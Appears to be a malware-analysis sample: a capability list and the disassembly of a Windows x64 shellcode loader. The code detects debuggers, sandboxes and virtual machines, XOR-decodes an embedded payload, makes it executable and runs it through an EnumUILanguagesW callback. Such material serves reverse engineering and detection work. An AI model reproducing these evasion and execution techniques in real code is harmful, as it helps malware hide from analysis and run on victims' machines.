Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Encode data using xor
Execute shellcode via windows callback function
Get disk information
Get local ipv4 addresses
Get memory capacity
Get system information on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x730]
sub rsp, 0x830
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x710], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400010c9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003468]
call fcn.1400018a0
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001646
mov qword [rsp + 0x820], r15
xor r15d, r15d
mov dword [rsp + 0x70], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x140001101
cmp dword [rsp + 0x70], r15d
je 0x140001101
lea rdx, [0x140003480]
jmp 0x140001117
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x14000113d
lea rdx, [0x1400034a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018a0
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14000163e
mov qword [rsp + 0x840], rbx
mov qword [rsp + 0x850], rdi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000116b
imul rbx, rax, 0x64
jmp 0x140001187
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x68], 0x64
call fcn.1400016d0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x1400011b8
imul rcx, rax, 0x64
jmp 0x1400011d3
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rbx, rdx
sar rbx, 0x12
mov rax, rbx
shr rax, 0x3f
add rbx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_long___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp rbx, 0x64
jge 0x140001226
lea rdx, str.This_program_may_be_running_in_a_sandbox_
jmp 0x1400012c9
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x140001282
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_system_memory_status.
call fcn.1400018a0
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 1
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400012c2
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rbp - 0x3c]
xor edx, edx
mov rax, qword [rbp - 0x68]
div rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp ebx, 0x3d0900
jge 0x1400012ef
lea rdx, str.The_memory_page_is_smaller_than_normal_and_may_be_in_a_virtual_machine_environment
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018a0
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14000162e
mov qword [rsp + 0x848], rsi
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, r15d
xor bl, bl
mov esi, eax
movzx r8d, bl
bt esi, r8d
jae 0x140001338
add r8d, 0x41
lea rdx, str._c:_
lea rcx, [rsp + 0x68]
call fcn.140001a70
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
add eax, 0xfffffffe
cmp eax, 1
ja 0x140001338
inc edi
inc bl
cmp bl, 0x1a
jl 0x140001304
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp edi, 2
jge 0x14000136f
lea rdx, str.The_number_of_hard_disks_is_smaller_than_normal__and_the_hard_disks_may_be_in_a_VM_environment
jmp 0x14000143f
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rsp + 0x58], 4
ja 0x1400013ae
lea rdx, str.If_the_number_of_cpus_is_smaller_than_normal__the_system_may_be_running_on_a_VM
jmp 0x14000143f
xor r9d, r9d
mov dword [rsp + 0x68], r15d
lea rax, [rsp + 0x68]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov ecx, dword [rsp + 0x68]
call fcn.140001b00
mov rdi, rax
xor r8d, r8d
lea rax, [rsp + 0x68]
mov r9, rdi
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r8 + 0x10]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov ebx, r15d
nop word [rax + rax]
mov ecx, ebx
inc ebx
cmp dword [rdi + 0x68], 1
mov rdi, qword [rdi + 8]
cmovne ebx, ecx
test rdi, rdi
jne 0x140001400
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp ebx, 2
jge 0x140001465
lea rdx, str.The_number_of_network_adapters_is_smaller_than_normal__and_the_network_adapter_may_be_in_a_VM_environment
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018a0
mov rcx, rax
lea rdx, [0x140001860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001626
mov qword [rsp + 0x828], r14
mov r14d, 0x1f4
mov qword [rsp + 0x30], 0x64
nop dword [rax]
dec r14d
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
lea rcx, [rsp + 0x30]
call fcn.1400016d0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rdx, [rbp + 0x390]
mov ecx, 6
lea rax, [0x140003670]
nop dword [rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1400014d0
movups xmm0, xmmword [rax]
mov rcx, qword [rax + 0x70]
mov rbx, 0xffffffffffffffff
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
movups xmm0, xmmword [str.xiaodi_SEse_666]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov word [rdx + 0x7c], cx
movzx ecx, byte [rax + 0x7e]
movzx eax, byte [0x140003a00]
mov byte [rbp], al
lea rax, [rbp - 0x10]
mov byte [rdx + 0x7e], cl
movups xmmword [rbp - 0x10], xmm0
inc rbx
cmp byte [rax + rbx], r15b
jne 0x140001596
mov edi, r15d
mov rsi, r15
nop word [rax + rax]
mov eax, edi
cdq
idiv ebx
movsxd rax, edx
movzx ecx, byte [rbp + rax - 0x10]
xor cl, byte [rbp + rsi + 0x390]
movzx edx, cl
lea rcx, str.x_x
mov byte [rbp + rsi + 0x10], dl
call fcn.140001010
inc edi
lea rsi, [rsi + 1]
cmp edi, 0x37f
jb 0x1400015b0
lea r9, [rsp + 0x68]
mov dword [rsp + 0x68], r15d
mov edx, 0x37f
lea rcx, [rbp + 0x10]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
lea rcx, [rbp + 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
test r14d, r14d
jne 0x140001480
mov r14, qword [rsp + 0x828]
xor eax, eax
mov rsi, qword [rsp + 0x848]
mov rdi, qword [rsp + 0x850]
mov rbx, qword [rsp + 0x840]
mov r15, qword [rsp + 0x820]
mov rcx, qword [rbp + 0x710]
xor rcx, rsp
call fcn.140001ae0
add rsp, 0x830
pop rbp
ret